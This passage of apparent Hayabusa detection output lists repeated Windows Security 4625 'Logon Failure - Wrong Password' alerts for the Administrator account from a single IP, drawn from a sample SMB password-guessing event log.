NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.400 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: h17Fz1s6GJki61jg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.440 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6Pjjn4FAkJn4h32r : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.483 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ARVx3FAAww8Gmfvc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.533 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sYIwPg5k1wpvWobN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.572 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0sfhYQ54SjC4JTX7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.604 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nfZYnUPV40FShcqt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.648 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XYbvWVCT0tFixZTH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.696 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XC6Vmz0ql8myDuGa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.744 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PJ8JvuvZZzwSOzFo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.784 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: s06yKaogI6FYkXla : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.828 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pCjOc7PguxwNKoQR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.876 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BX5IosnpdYZK5xZj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.905 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gfMjB1epEm64wVEX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.947 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pb4FVO2SKsoMyt1K : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.003 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1qoRw2jjFx4F6Wx6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.048 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ImiLeiteLoSw32I0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.083 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KcIYD47BIEP8gB0L : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.120 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lUAeB15aWamcaZ8L : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.161 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KFOKiSDWc1dWjzge : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.211 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hqyMtzjKSJEtEAdx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.251 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WtHsItpyFHQxvLWm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.287 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RdGMqIhUGHj23Xm2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.328 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BfE5LVmrPaAFLwBR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.368 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b1swKSla5gkdOwxH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.408 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kL9MdVnRVogiP7hF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.456 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aQ0hRdwZvC5PBcXl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.497 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ctbv73J0Dot9raD0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.544 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wKpWApJIKkjbtaPB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.590 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kVTAv9VoNpUyxQFM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.642 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xb3t1dpuk9JZri5p : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.688 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fy0UrW8TWrxAOX90 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.733 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iUXUbUsiE6Ahh9iD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.776 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2QQdQ6rQYLBf15AF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.820 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zG4eJLuQ4u2dKQG0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.854 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QCfwHs2gVGiRc3Fy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.897 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 67TcwQfTxgTtQvCU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.945 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: imnSPKAKYzrCKSUf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.024 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mMNbdjiXNUY0gTfB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.068 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zOAH0gjfs8JcXSMO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.117 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TnnB4KPBiDvKMsUL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.153 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0aZRgpa5riqIEWhQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.198 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BBL4nrs7f6cjlfsT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.247 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fgDupzqipe5jK0r5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.280 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5yPcTOWPuN8efJtl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.320 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Dszb6s0w6glvSkSw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.357 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ynu936pVVAuDUGT5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.407 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: c55o3Dca2tiUVwb2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.444 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tnDmp2KK02LyJ7Xm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.499 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xRUKrHDAmgEPcjQw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.548 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PCGKDvPhzg6BlsuU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.594 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OU28biGLJkFmB117 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.628 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 029LphuWcoo9S2hL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.670 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ItIROqP2wyzLJa9s : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.712 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XngGun3HYopTkcrA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.749 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: c91Qz5QNUczcm7m6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.784 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: t7nyWJJJhDiqnf1d : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.828 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bnj7hAp20gZE9FCe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.869 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FydQjBxO7XninU5Q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.901 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3P8InIzyD86BXr1d : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.945 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wvKGa3A3qw7s0cZX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.993 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QTY7tRVEMjXZXFyH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.044 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: m4Ij1NSYGYbq4PxS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.088 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 47fOxZAYhjxLzEoU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.124 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aGxXaNNChVScbHe6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.161 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jTcVeB8f2Rs3Bldo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.201 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yeSnUlIbuDVNffey : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.308 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eXIM4tWru1x0AahJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.379 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: m2pBLn6aO8L4kiH5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.441 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EG5daDsgTMZsNg0T : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.492 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3V8z6j7GLO3ywBXc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.528 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AsezMvhUNedLNqg4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.574 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: h16AvUVZG8qch7LC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.687 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PB5xe3Aieya8N3IU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.765 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ezGXIhYrkk2Q9pe5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.813 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VSGIVhD6pO5z47DY : IP Address: 192.168.198.149 : AuthPackage: 